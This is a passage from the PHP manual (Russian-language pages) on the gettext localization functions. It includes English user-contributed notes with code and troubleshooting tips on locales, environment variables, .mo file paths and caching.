setlocale(LC_ALL, $locale);
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

Nor will this work:
<?php
$locale = 'ja';
$locale_dir = './locale';

setlocale(LC_MESSAGES, $locale);
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

For reference, this was tested on PHP 5.1.2 + LigHTTPd 1.4.11 + gettext 0.14.5 on Ubuntu Dapper 6.06. It should be true for any variant of Linux, however, as well as older versions of these software packages.
richard at hirner dot at 13-Jul-2006 04:43
the * wildcard doesn't work for me (php 5)... I have to use bindtextdomain for each textdomain
webmaster [at] ttw [dash] tool [dot] de 21-May-2006 04:49
If you want to use messages from multiple domains with .mo-files residing in non-standard locations remember to place a bindtextdomain()-call for each domain as "unbound" domains will be looked for in the standard location (usually "/usr/share/locale" on *nix)

<?php

    bindtextdomain('foo','/some/dir/with/mo_files');
    bindtextdomain('bar','/another/mo_file/dir');

    echo dgettext('foo','Text to be translated using the foo-catalog.');
    echo dgettext('bar','Text from a different catalog named bar.');

?>

If all the .mo-files you are using reside in one and the same directory, you may use the "*"-wildcard like this:

<?php

    bindtextdomain('*','/directory/with/all/mo_files');

?>

This code was tested on PHP 5.1.4
info at adaniels dot nl 19-Apr-2006 12:19
As stated by robert at klugher dot com:
The environment setting 'LANGUAGE' gets priority above any local setting. This means that changing LC_ALL/LC_MESSAGES and LANG as done in almost all examples, won't do anything.

So if you've done
<?php
    $language = "nl_NL";
    putenv("LANG=$language");
    setlocale(LC_ALL, $language);
    ...
?>
but the text is still displayed in english. Try also setting the LANGUAGE variable.
<?php
    $language = "nl_NL";
    putenv("LANGUAGE=$language");
    putenv("LANG=$language");
    setlocale(LC_ALL, $language);
    ...
?>
birkholz at web dot de 28-Mar-2006 09:52
> stefan+usenet at froehlich dot priv dot at wrote at 5-May-2004 01:30:
> Reading the line
>
> <? php setlocale(LC_ALL, 'de_DE'); ?>
>
> here over and over again, I have to warn using it, as there are severe caveats.
> For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to
> decimals silently stripped of numbers, when inserting rows into an SQL database.
>So DON'T do this, but use
>
> <? php setlocale(LC_MESSAGES, 'de_DE'); ?>
>
> instead, which does exactly what you want, without any nasty side effecs.

For all Windows-Users:
Be warned the LC_MESSAGES seems to be NOT set on Windows with PHP 5.1.2, so if you develope applications for a Linux-System and want to make it multi-language using gettext, you will get problems using LC_MESSAGES on your Windows-Developement-Box.
You can try to solve this problem by putting a

<?php if (!defined('LC_MESSAGES')) define('LC_MESSAGES', 6); ?>

to your script to get no warning if you pass LC_MESSAGES to the setlocale()-function.
Juan Liska 15-Nov-2005 03:09
if you're having trouble with setlocale (if it's returning false) on ubuntu or debian:

nano /etc/locale.gen

make sure that the locales taht you want are in the list, if not, add them. for instance, i wanted es_GT (b/c i have an app that must run on redhat and debian, i cant change to es_GT.UTF-8) so, add:

es_GT UTF-8

then run:

locale-gen

you now have the locales you want, not just the ones the system magically came with
milky#users:sf/net 09-Jun-2005 06:12
There exists an emulation for the gettext functions - obviously slower than the native binding, but can be used on shared servers which lack the extension. It is believed to be rather useful as fallback (comes already encapsulated with if-function_exists checks).
See the ext/ directory in the [ http://freshmeat.net/p/upgradephp ] tarball.  Support for plural translations isn't there, because that is too hard to get reimplemented reliably.
tucsi at c2 dot hu 18-May-2005 04:09
If your gettext translation does not work in safe mode, than try to set this in the php.ini:
safe_mode_allowed_env_vars = PHP_,LANG
Maxwel Leite -maxwelleite at gmail com- 27-Apr-2005 12:36
PHP-gettext is developed to be able to read gettext MO files directly, without requiring anything other than PHP:
https://savannah.nongnu.org/projects/php-gettext/
elonen at iki dot fi 30-Mar-2005 01:51
For making localized copies of PHP files (statical l10n), here's a GPL'd command line tool: http://iki.fi/elonen/code/pophorator/
dpatton at confluence dot org 27-Feb-2005 10:47
Make sure you check your webserver configuration before deciding to use gettext, because if you are running in a multi-threaded environment you should not use gettext, as it is not thread-safe.

A future version of gettext(possibly 0.15) may be thread-safe.
Any gettext dependencies, such as glibc would also need to be thread-safe.

Apache 1.3 on Unix generally is non-threaded, but on Windows it is multithreaded.
Apache 2.0 has support for MPMs(Multi-Processing Modules), some of which support multiple threads:
http://httpd.apache.org/docs-2.0/mpm.html
zixia at zixia dot net 11-Jun-2004 02:42
If gettext does not work with your locale, ie 'zh_CN', just going to see if the output of command "localedef --list-archive" contains your locale('zh_CN' in this example).
If it not, try to use a exist locale or use "localedef" to create one: "localedef -f GBK -i zh_CN zh_CN" in my case.
mikolaj at webgate dot bg 10-Jun-2004 04:54
winXP, PHP 4.3.5 as Apache1.3.29 module

Two hints for Windows users.

I found setting locale is neither sufficient nor nessecery. To get it work I needed to set either LC_ALL or LANG enviroment variable to my locale. Anyway this value must be proper for setlocale so it is good to test with it. In my case it was bgr_BGR for bulgarian according to http://www.unicode.org/onlinedat/countries.html

gettext checks for files once and keeps them in cashe. Especially it means that if it doesn't find your files it won't search again, so restart Apache after any directory changes!!

My minimal working script:
<?php
// translation file: D:\Apache\htdocs\mypage\locale\bgr_BGR\LC_MESSAGES\messages.mo
putenv("LC_ALL=bgr_BGR");
bindtextdomain('messages', 'D:\Apache\htdocs\mypage\locale\\');
echo gettext("Hello");
?>
stefan+usenet at froehlich dot priv dot at 05-May-2004 04:30
Reading the line

<? php setlocale(LC_ALL, 'de_DE'); ?>

here over and over again, I have to warn using it, as there are severe caveats. For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to decimals silently stripped of numbers, when inserting rows into an SQL database. So DON'T do this, but use

<? php setlocale(LC_MESSAGES, 'de_DE'); ?>

instead, which does exactly what you want, without any nasty side effecs.
kocio at irc dot pl 03-May-2004 03:26
Following three lines take about 0.5 second to execute (Debian, Celeron 2GHz, 256MB RAM):

setlocale(LC_ALL, 'pl_PL');
bindtextdomain('my_domain', '../dir/' . 'locale');
textdomain('my_domain');

I think that such delay is important enough to be mentioned in the documentation. In my particular case, it means more than doubled execution time for the entire script.
dev.php at tfelber.net 26-Aug-2003 07:35
Check your

/etc/locales.aliases for "english en_GB.ISO-8859-1" (mentioned before)

and your

/etc/locales.gen for en_GB.ISO-8859-15 ISO-8859-15

I'm not sure if only this entry solved the problem. In my case this entry was made by an dpkg-reconfigure locales (debian), where i created the locales.

Translation only works with de_GE@euro and  en_GB.ISO-8859-15 (first column in you locales.gen)
wouter at grep dot be 13-Aug-2003 12:28
Of course, translation is only interesting if you provide the user with the language and encoding he asks for. Since there's part of the HTTP protocol that allows you to specify that, it's nice if one can use that information to pick the 'right' translation out of the ones you have available.

I wrote something that does just that -- it parses the 'Accept-Language' and 'Accept-Charset' HTTP/1.1 headers, and tells you which one the user prefers out of a list you provide. You can download it at http://www.grep.be/articles/php-accept.php

Note that even if the user's browser may support this, the user may not know about it; as such, it's probably good practice not to remove links to other-languaged versions, so that people can still get a version of your site in another language if they so prefer.
jc 14-Jul-2003 01:15
I had a lot of problems getting gettext to work (RedHat 7.3). After reading ALL the comments in this manual, I got it to work OK.

In summary, take care that:

1) You use a full locale in the setlocale()
2) Your language_country exists in the /usr/share/locale/locale.alias
3) It seems that Apache needs to be restarted (a "graceful" did the trick for me)
4) Your .mo files must be named after the domain

My code:

$language = "es_ES";
$locale = setlocale(LC_ALL, $language);

$gettext_domain = 'messages';
bindtextdomain($gettext_domain, "/full/path/to/locale");
textdomain($gettext_domain);
anim8 17-Jun-2003 06:15
Even though in some cases setlocale() may require a country code in addition to the language code this does not mean that it is required for gettext.

If setlocale() is set to either es_ES or es_MX gettext() will still get the text from a po file in the 'es' folder.

It probably is not a good idea to go changing a systems alias file(s) just to avoid the verbosity of the ISO standard because:
  a) you might break something
  b) your code just lost it's portability

.
13-Jun-2003 07:41
The way I got gettext to work with just a standard "de" or "fr" instead of "de_DE" was I overwrote my /usr/share/locale/locale.alias with /usr/lib/X11/locale/locale.alias file.  The I restarted Apache.  Reason I did this was it appeared the X11 file was more up to date and more modernised!
Picco 08-Jun-2003 10:45
Note to Chinese programmers....

Took me hours to figure out you cannot use

LANG=zh
but have to use
LANG=zh_TW
on some machines...

a good way to test will be to check the return of setlocale()
robert at klugher dot com 25-Feb-2003 05:24
One trick I found after HOURS of tries :

when you use the setlocale(), PHP will use the locale info it will find in, for example, /usr/share/locale to set the language info for LC_ALL, LC_MESSAGES, ...

You can check the exact info it will use by using putenv() with LANG=.... and looking at the return value of setlocale(LC_ALL, ""). The language value your gettext function will use to look for your translation file is the one given for LC_MESSAGES.

Example :

I was setting the LANG as fr_BE, and placed the translation file in dirxxx/locale/fr_BE/LC_MESSAGES/...
As it was locale info in my system for fr_BE but NOT LC_MESSAGES, PHP choosed to use the LC_MESSAGES settings for fr_FR instead and then, was looking for a translation file in dirxxx/locale/fr_FR/LC_MESSAGES/..., which wasn't found of course.

So, just make sure to look at the return value of setlocale to see what language value is associated to LC_MESSAGES and, then, to know in which subdirectory the translation file will be looked for by gettext.

Robert
php at zpod dot ca 29-Jan-2003 07:24
For those of you just trying to get a script working and your provider doesn't support gettext, you can bypass the international stuff by adding this:

function _($str) {
    return $str;
}
Eneko Lacunza enlar at enlar dot net 16-Jan-2003 08:20
Some tips from my Red Hat Linux 7.3 system.

It didn't work for me until I set a full locale (i.e. es_ES) with setlocale.

I was trying with Michele Manzato's example (thank you!), but as it sets the language without the country, it was failing for me. Here is the example "fixed" with full locale:

// Change to script directory
// (Not needed in RH 7.3)
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as full locale 'es_ES'
$language = 'es_ES';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/es_ES/LC_MESSAGES/mydomain.mo
// or if previous one doesn't exist:
// ./locale/es/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Hope this helps!
Eneko.
php at dynaperl dot com 25-Jun-2002 06:49
If you install from SuSE Dist. you need glibc-locale.rpm to let gettext work.

mfg ralph.
mgvNOSPAM at fx dot ro 04-Jun-2002 07:47
If you're as clueless as I am, please note the following:
1. Although most comments list setlocal() in the code, that's not actually required for translations - read the docs under "string functions" for details (also, the official gettext() examples don't include it);
2. hace_x's example is really cool, except you need to know that all "n"'s at the end of his strings should have a backslash before - they're actually EOL characters, but they somehow got messed up and I needed two hours to find that out...
Michele dot Manzato at verona dot miz dot it 14-Sep-2001 03:52
Gettext is great, but there are a few caveats you have to consider in order to make it work. Unfortunately the gettext docs isn't so plain and clear...

The .mo file created with the gettext utilities must be:

[bindtextdomain's dir]/[language]/LC_MESSAGES/[domain].mo

otherwise gettext() function will fail to find it (this is true in win32, don't know about Un*ces). By the way you don't get any error message, the strings will simply remain untranslated.

Second, you must make sure which is the current directory if you use a relative path in bindtextdomain. On some systems the script directory isn't the current directory, so you have to chdir() there.

Then, of course, make sure that the appropriate gettext extension are loaded by PHP by looking at the php configuration file.

Here is some sample code:

// Change to the script directory
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as 'it'
$language = 'it';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/it/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Have fun!
Michele
11-Jul-2001 05:40
It is probably obvious to many of you,  but I thought it was worth mentioning that the domain is the name of the .mo files that contain the string catalogue (without the extension).

so if you have a catalogue myPage.mo for each page in './locale/lg/LC_MESSAGE' and some generic catalogues (e.g. errorMsg.mo) in '/global/locale/lg/LC_MESSAGE', you can do

bindTextDomain("$myPage", './locale');
bindTextDomain('errorMsg','/global/locale' );
textDomain('myPage');
print(getText('Welcome'));
/.../
if($err)printf(dGetText('errorMsg','you have an error here'));

Ivan


Устанавливает или получает кодировку, в которой будут возвращаться сообщения из каталога сообщений домена

  • « Функции gettext
  • bindtextdomain »
  • PHP Manual
  • Функции gettext
  • Устанавливает или получает кодировку, в которой будут возвращаться сообщения из каталога сообщений домена

bind_textdomain_codeset

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

bind_textdomain_codeset — Устанавливает или получает кодировку, в которой будут возвращаться сообщения из каталога сообщений домена

Описание

bind_textdomain_codeset(string $domain, ?string $codeset): string|false

Функция bind_textdomain_codeset() устанавливает или получает кодировку, в которой будут возвращаться сообщения из domain, такими функциями как gettext().

Список параметров

domain

Домен.

codeset

Кодировка. Если null, возвращается текущая установленная кодировка.

Возвращаемые значения

Строка в случае успешного выполнения.

Список изменений

Версия | Описание
8.0.3 | codeset теперь допускает значение null. Раньше было невозможно получить текущую установленную кодировку.

Примечания

Замечание:

Информация bind_textdomain_codeset() сохраняется для каждого процесса, а не для потока.

User Contributed Notes

jon at rejon dot org 31-Aug-2006 12:58
So, by using this function and by setting the LANGUAGE variable, you should be able to have a functioning i18n system that is not dependent upon a system's locale installation. Here is a sample from a method I created for a language class. Look for it on http://wiki.creativecommons.org/Developer soon:

    function Init ()
    {
        // set the LANGUAGE environmental variable
        // This one for some reason makes a difference FU@#$%^&*!CK
        // and when combined with bind_textdomain_codeset allows one
        // to set locale independent of server locale setup!!!
        if ( false == putenv("LANGUAGE=" . $this->_language ) )
            CCDebug::Log(sprintf("Could not set the ENV variable LANGUAGE = %s",
                                 $this->_language));

        // set the LANG environmental variable
        if ( false == putenv("LANG=" . $this->_language ) )
            CCDebug::Log(sprintf("Could not set the ENV variable LANG = %s",
                                 $this->_language));

        // if locales are not installed in locale folder, they will not
        // get set! This is usually in /usr/lib/locale
        // Also, the backup language should always be the default language
        // because of this...see the NOTE in the class description

        // Try first what we want but with the .utf8, which is what the locale
        // setting on most systems want (and is most compatible
        // Then just try the standard lang encoding asked for, and then if
        // all else fails, just try the default language
        // LC_ALL is said to be used, but it has nasty usage in some languages
        // in swapping commas and periods! Thus try LC_MESSAGE if on one of
        // those systems.
        // It is supposedly not defined on WINDOWS, so am including it here
        // for possible uncommenting if a problem is shown
        //
        // if (!defined('LC_MESSAGES')) define('LC_MESSAGES', 6);
        // yes, setlocale is case-sensitive...arg
        $locale_set = setlocale(LC_ALL, $this->_language . ".utf8",
                                        $this->_language . ".UTF8",
                                        $this->_language . ".utf-8",
                                        $this->_language . ".UTF-8",
                                        $this->_language,
                                        CC_LANG);
        // if we don't get the setting we want, make sure to complain!
        if ( ( $locale_set != $this->_language && CC_LANG == $locale_set) ||
             empty($locale_set) )
        {
            CCDebug::Log(
                sprintf("Tried: setlocale to '%s', but could only set to '%s'.",                        $this->_language, $locale_set) );
        }

        $bindtextdomain_set = bindtextdomain($this->_domain,
                                  CC_LANG_LOCALE . "/" . $this->_locale_pref );
        if ( empty($bindtextdomain_set) )
            CCDebug::Log(
            sprintf("Tried: bindtextdomain, '%s', to directory, '%s', " .
                    "but received '%s'",
                    $this->_domain, CC_LANG_LOCALE . "/" . $this->_locale_pref,
                    $bindtextdomain_set) );

        bind_textdomain_codeset($this->_domain, "UTF-8");
        $textdomain_set = textdomain($this->_domain);
        if ( empty($textdomain_set) )
            CCDebug::Log(sprintf("Tried: set textdomain to '%s', but got '%s'",
                                 $this->_domain, $textdomain_set));

    } // end of method Init ()
przemekkus at interia dot pl 05-Jun-2006 11:54
I had problems with German "umlauts" when using gettext. So, this is how it can be resolved:

I've put these lines itom my PHP code:

$domain = "messages";
bindtextdomain($domain, "path_to_messages_dir");
bind_textdomain_codeset($domain, 'ISO-8859-15');
textdomain($domain);

It works!
duckx at mezimail dot com 24-May-2004 11:33
First the the url of the gettext manual changed:
http://www.gnu.org/software/gettext/manual/

Secondly, lets explain a little bit what this fonction does.
By default, gettext will use the LC_CTYPE of the language you choose (for example fr_FR).
This LC_CTYPE is extracted from your locales.alias file in your configuration dir (Should be /etc/locales.alias).
By default, the encoding is frequently iso-8859-1.

So if you want to make your site utf-8 aware, you need to bind your domain with the right encoding.
Here is a sample:
<?php
   $locale="fr_FR.UTF-8"
   setlocale(LC_MESSAGES,  $locale);
   $domain = 'your_text_domain';
   bindtextdomain($domain, './translations_path');
   textdomain($domain);
   bind_textdomain_codeset($domain, 'UTF-8');

?>

As quoted in other notes, the translations path should be like
/translations_path
   /de_DE/
       /LC_MESSAGES
   /fr_FR/
       /LC_MESSAGES
   ...

Your translation goes in the LC_MESSAGES dirs ... Hopes this helps :)


Устанавливает или получает путь для домена

  • « bind_textdomain_codeset
  • dcgettext »
  • PHP Manual
  • Функции gettext
  • Устанавливает или получает путь для домена

bindtextdomain

(PHP 4, PHP 5, PHP 7, PHP 8)

bindtextdomain — Устанавливает или получает путь для домена

Описание

bindtextdomain(string $domain, ?string $directory): string|false

Функция bindtextdomain() устанавливает или получает путь для домена.

Список параметров

domain

Домен.

directory

Путь к директории. Пустая строка означает текущий каталог. Если null, возвращается текущий установленный каталог.

Возвращаемые значения

Полный путь для домена, установленного параметром domain или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.3 | directory теперь допускает значение null. Раньше было невозможно получить текущий установленный каталог.

Примеры

Пример #1 Пример использования bindtextdomain()

<?php

$domain = 'myapp';
echo bindtextdomain($domain, '/usr/share/myapp/locale');

?>

Результат выполнения данного примера:

/usr/share/myapp/locale

Примечания

Замечание:

Информация bindtextdomain() сохраняется для каждого процесса, а не для потока.

User Contributed Notes

roel dot vermeulen at gmail dot com 05-Jun-2016 05:49
I recommend using absolute paths in the $directory parameter. This caused me several hours to debug as Ajax calls to my localization functions messed up the path. And since no error if thrown if the path in $directory cannot be found, one should check the result always:

<?php
    // Imagine the path for this file is "/localization" and your locales are in the "/locale" directory.
    $pathToDomain = __DIR__ . "/../locale";
    if ($pathToDomain != bindtextdomain($domain, $pathToDomain)) {
        // Error handling.
    }
?>
n8klatt 20-Nov-2014 05:47
The name of your .mo file must match the $domain, e.g. name your files messages.mo and call bindtextdomain("messages", $directory).


Переопределяет одно сообщение в домене

  • « bindtextdomain
  • dcngettext »
  • PHP Manual
  • Функции gettext
  • Переопределяет одно сообщение в домене

dcgettext

(PHP 4, PHP 5, PHP 7, PHP 8)

dcgettext — Переопределяет одно сообщение в домене

Описание

dcgettext(string $domain, string $message, int $category): string

Данная функция позволяет переопределить текущий домен для одного сообщения.

Список параметров

domain

Домен

message

Сообщение

category

Категория

Возвращаемые значения

В случае успешного выполнения возвращает значение типа string.

Смотрите также

  • gettext() - Ищет сообщение в текущем домене

User Contributed Notes

chaosben at gmail dot com 04-Feb-2021 04:13
As of today, you can use the LC_* constants as last parameter.

<?php
echo dcgettext('main', 'My Text', LC_MESSAGES);
?>
zak at nucleus dot com 04-Dec-2000 03:05
The category argument allows a specific category of the locale settings to be used for fetching a message.  Valid categories are:

LC_CTYPE, LC_NUMERIC, LC_TIME, LC_COLLATE, LC_MONETARY, LC_MESSAGES and LC_ALL.

Note that the category must be specified with a numeric value, instead of the constant name.  The values are:

LC_CTYPE        0
LC_NUMERIC      1
LC_TIME         2
LC_COLLATE      3
LC_MONETARY     4
LC_MESSAGES     5
LC_ALL          6


Версия dcgettext для множественного числа

  • « dcgettext
  • dgettext »
  • PHP Manual
  • Функции gettext
  • Версия dcgettext для множественного числа

dcngettext

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

dcngettext — Версия dcgettext для множественного числа

Описание

dcngettext(
string $domain,
string $singular,
string $plural,
int $count,
int $category
): string

Данная функция позволяет переопределить одно сообщение с использованием множественного числа в текущем домене.

Список параметров

domain

Домен.

singular

plural

count

category

Возвращаемые значения

В случае успешного выполнения возвращает строку (string).

Смотрите также

  • ngettext() - Версия gettext для сообщений во множественном числе

User Contributed Notes

There are no user contributed notes for this page.


Переопределяет текущий домен для одного сообщения

  • « dcngettext
  • dngettext »
  • PHP Manual
  • Функции gettext
  • Переопределяет текущий домен для одного сообщения

dgettext

(PHP 4, PHP 5, PHP 7, PHP 8)

dgettext — Переопределяет текущий домен для одного сообщения

Описание

dgettext(string $domain, string $message): string

Функция dgettext() позволяет переопределить текущий домен domain для одного сообщения.

Список параметров

domain

Домен.

message

Сообщение.

Возвращаемые значения

В случае успешного выполнения возвращает значение типа string.

Смотрите также

  • gettext() - Ищет сообщение в текущем домене

User Contributed Notes

viral at noeticsolutions dot com 30-Mar-2006 02:42
While using this function, remember to call bindtextdomain for as many domains as you want to use in your application.  For example, if I have module1 and module2 as 2 separate domains in the same application, you can do the following:

bindtextdomain("module1", "//path/to/my/locale/folder");
bindtextdomain("module2", "//path/to/my/locale/folder");
textdomain("module1");

echo _("Label1"); // this call will get the message from module1
echo dgettext("module2", "Label1"); // this call will get the message from module2

===
Viral Shah


Версия dgettext для множественного числа

  • « dgettext
  • gettext »
  • PHP Manual
  • Функции gettext
  • Версия dgettext для множественного числа

dngettext

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

dngettext — Версия dgettext для множественного числа

Описание

dngettext(
string $domain,
string $singular,
string $plural,
int $count
): string

Функция dngettext() позволяет переопределить текущий домен domain для одного сообщения во множественном числе.

Список параметров

domain

Домен.

singular

plural

count

Возвращаемые значения

В случае успешного выполнения возвращает строку (string).

Смотрите также

  • ngettext() - Версия gettext для сообщений во множественном числе

User Contributed Notes

There are no user contributed notes for this page.


Ищет сообщение в текущем домене

  • « dngettext
  • ngettext »
  • PHP Manual
  • Функции gettext
  • Ищет сообщение в текущем домене

gettext

(PHP 4, PHP 5, PHP 7, PHP 8)

gettext — Ищет сообщение в текущем домене

Описание

gettext(string $message): string

Ищет сообщение в текущем домене.

Список параметров

message

Переводимое сообщение.

Возвращаемые значения

Возвращает переведённую строку (string), если она найдена в таблице перевода, иначе - переданное сообщение.

Примеры

Пример #1 gettext()-check

<?php
// Устанавливаем русский язык
putenv('LC_ALL=ru_RU');
setlocale(LC_ALL, 'ru_RU');

// Указываем путь к таблицам переводов
bindtextdomain("myPHPApp", "./locale");

// Выбираем домен
textdomain("myPHPApp");

// Теперь поиск переводов будет идти в ./locale/ru_RU/LC_MESSAGES/myPHPApp.mo

// Выводим тестовое сообщение
echo gettext("Welcome to My PHP Application");

// Или с использованием псевдонима _()
echo _("Have a nice day");
?>

Примечания

Замечание:

Можно использовать символ подчёркивания '_' в качестве псевдонима этой функции.

Замечание:

На некоторых системах может быть недостаточно указания языка, в таких случаях используйте putenv() для указания текущей локали.

Смотрите также

  • setlocale() - Устанавливает настройки локали

User Contributed Notes

naguissa at foroelectro dot net 21-Nov-2023 06:19
I was testing in a self-made NAS (Debian + OpenMediaVault) and I was not getting SOME translations.

Some translations worked OK but some others were ignored.

The problem was caused because I had not added that locales to my NAS locale:

1) Edit file /etc/locale.gen
2) Check if your locale is active (written and uncommented).
3) Execute "locale-gen" as root (or sudo).

So, in short, if you have a Linux system and your translations are ignore check if you have that locale active in your system.
ck at claudiokuenzler dot com 16-Nov-2020 12:57
If you come across a situation where the translation works fine on CLI but not on Apache, it may be caused by the Perl Apache module.

Basic translate.php:

<?php
// Set locale
putenv("LC_ALL=de_CH.UTF-8");
putenv("LANGUAGE=");
putenv("LANG=de_CH.UTF-8");
$res = setlocale(LC_ALL, 'de_CH.UTF-8', 'de_CH', 'de');
echo bindtextdomain("homepage", "./locale");
textdomain("homepage");

$results = gettext("My English Text");
if ($results === "My English Text") {
    echo "Original English was returned. Something wrong\n";
} else {
    echo $results;
}
?>

On the CLI the translation works:

$ php7.3 translate.php
Mein deutscher Text.

But not via Apache web server:

$ curl localhost/translate.php
Original English was returned. Something wrong

Disable Perl module and restart Apache:

# a2dismod perl
# systemctl restart apache2

And suddenly the translation works:

$ curl localhost/translate.php
Mein deutscher Text.

The exact reason for this behaviour is (as of right now) unknown to me.
saul dot dobney at notanant dot com 11-Jan-2019 09:39
putenv(...) can cause hidden problems when upgrading or moving between systems which are difficult to diagnose.

On one Linux server we had the following working perfectly with setlocale

putenv("LANG=$locale");

We switched servers and found gettext wouldn't work despite having all the same locale files and settings

The recommendation to switch to

putenv("LC_ALL=$locale");

didn't fix the problem.

However,

putenv("LANGUAGE=$locale");

did. So if you have problems, check all three settings.
kingjackal at gmail dot com 02-Jul-2018 11:13
If your PO/MO files make use of msgctxt (Context), you'll be frustrated to find that gettext(msgid) won't work as you might expect (even if msgid is unique).

In this case, you must use ASCII char 4 [EOT, End Of Text] glued between the msgctxt and msgid.

Example PO content:

    msgctxt "Context"
    msgid "Test string"
    msgstr "Test translation"

    msgid "Standard string"
    msgstr "Standard translation"

The following will work:

<?php
gettext('Context' . "\004" . 'Test string');
gettext('Standard string');
?>

The following will NOT work:

<?php
gettext('Test string');
?>
nayana at corp - gems dot com 26-Jun-2014 11:16
on OSX (10.9.3) and PHP (5.4.24) you need to use full local name including codeset

i.e. for German need to use de_DE.UTF-8 even setlocale returns success when used without .UTF-8 the lookups will not work.
telefoontoestel at hotmail dot com 05-Feb-2014 03:43
This function is not able to handle null values. It can return the complete translation file if you enter null as argument.
mikko dot rantalainen at peda dot net 08-Jan-2014 06:17
Worth noting is that gettext honors environment variables while selecting the language to use: http://www.gnu.org/software/gettext/manual/html_node/Locale-Environment-Variables.html

"When a program looks up locale dependent values, it does this according to the following environment variables, in priority order:

    LANGUAGE
    LC_ALL
    LC_xxx, according to selected locale category: LC_CTYPE, LC_NUMERIC, LC_TIME, LC_COLLATE, LC_MONETARY, LC_MESSAGES, ...
    LANG

Variables whose value is set but is empty are ignored in this lookup. "

In short, if you have non-empty LANGUAGE, you may end up with unexpected localization strings. On the other hand, LANGUAGE can be used to define fallback language if some translation is missing.
jmeile at hotmail dot com 07-Jan-2014 10:23
I just wanted to say that gettext won't work on WAMP Server 2.4 / 64 Bit, see the thread I posted here:

Title: Gettext doesn't work on WAMP 64 Bits
http://forum.wampserver.com/read.php?2,120770,120770#msg-120770

I haven't tested with only apache 64 Bit, so, I don't know if the issue is related to apache or WAMP. Anyway, to make it work with WAMP, install the 32 Bit version of WAMP and only do this:

define('LOCALE_DIR', '<root_dir_of_your_po_files>'); //ie: C:/wamp/www/your_app/locale
$locale = '<your_locale>'; //ie: es_CO
$domain = 'your_gettext_domain'; //ie: messages
putenv('LC_ALL=' . $locale);
bindtextdomain($domain, LOCALE_DIR);
textdomain($domain);
echo _('<your_string>'; // ie: Hello world

"setlocale" nor setting the LANG, LANGUAGE, and LC_MESSAGES environment variables seems to be necessary under windows. I got it working by setting "LC_ALL" only.
ashi009 at gmail dot com 29-Nov-2012 04:34
The simplest way to by-pass gettext() cache, without restart apache nor change domain.

The fix is incredible simple, first create a dummy link to the locale folder where .mo files stored:

cd locale
ln -s . nocache

Then add one single line before bindtextdomain()

<?php
bindtextdomain('domain', './locale/nocache');
bindtextdomain('domain', './locale');
?>

Now the cache is forced to flush every time.
simen at nconel dot no 09-May-2012 10:57
gettext returns the headers from .mo files
if the message parameter is set to empty.

So if you are for example using Smarty blocks, make sure that the values given checks if the text has content or else your text will have a bunch of headers printing.

If you are putting a variable to the gettext, like so:
_($text);
you are better of making another function like this:
<?php
function __($text){
if(empty($text)) return "";
else gettext($text);
}
?>
bla at taxistop dot be 06-Jan-2011 06:47
For me it is sufficient to call setlocale() with a string like "nl_BE" as the second parameter, to make gettext() work. Just plain "nl" was not enough.

Ditto when using an environment variable like LANG: "en", "fr", "nl", "de" are not enough: I have to specify the country, too.
surfchen at gmail dot com 04-Mar-2010 12:26
As of php 5.3, you can use the following code to get the preferred locale of the http agent.

<?php
$locale = Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);
?>
daemonraco at yahoo dot com dot ar 24-Apr-2007 02:06
I had a problem like "adino at adino dot sk" said, so I did the unsetting of LANG ($ unset LANG), but it was not sufficient, I had to unset the environment variable LANGUAGE too.

I tried to do this using "sudo", but it didn't works, so I had to change to root using "su"

If you need to know, I use Musix (a sub-distro of Devia).

I hope this will help you, Seeya! ^__^'
vinaykuruvila at gmail dot com 03-Mar-2006 02:55
If like me, you are stuck with making a lot of code localizable, you have to go through all your php files and wrap all srings in _("string"). Here's an elisp function which can help you out.

This function enables you to highlight some text in an emacs buffer and make it a localizable string using the keyboard shortcut C-l (Ctrl and l). If the first character highlighted is " or ', then it assumes the text is in php-context and changes it to: _(HIGHLIGHTED_TEXT). Otherwise it assumes the text is in html-context and changes it to <?=_('HIGHLIGHTED_TEXT')?>

The shortcut C-k can be used for translating parts of php strings which contain html tabs. We dont want to translate the entire string including the tabs, so we highlight just the substring that needs to be translated and use C-k.

To use it, do either of:
Copy and paste the following code into your .emacs file. This would permanently associate the keyboard shortcut C-l with this function.
Save the code in a new file ending with the .el extension. Evaluate it using M-x eval-buffer. This makes the C-l keyboard shortcut only last for the current Emacs session.

Code
;author: Vinay Kuruvila March 01 2006
;updated to handle php strings containing html tabs

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within php context
(defun make-localizable-string-in-php-context(left right)
(goto-char left)
(insert "_(")
(goto-char (+ right 2))
(insert ")")
)

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within html context
(defun make-localizable-string-in-html-context(left right)
(goto-char left)
(insert "<?= _('")
(goto-char (+ right 7))
(insert "')?>")
)

;makes the highlighted text a localizable string
;uses php-context localization if the first char highlighted
;is " or '
;otherwise uses html-context localization
(defun make-localizable-string()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)

;determine php-context or html-context and dispatch
(if (or (char-equal (char-after left) ?\") (char-equal (char-after left) ?'))
(make-localizable-string-in-php-context left right)
(make-localizable-string-in-html-context left right)
)
(deactivate-mark)
)

;to handle php strings which contain html tabs
;we dont want to translate the html tabs
(defun make-localizable-string-within-php-string ()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
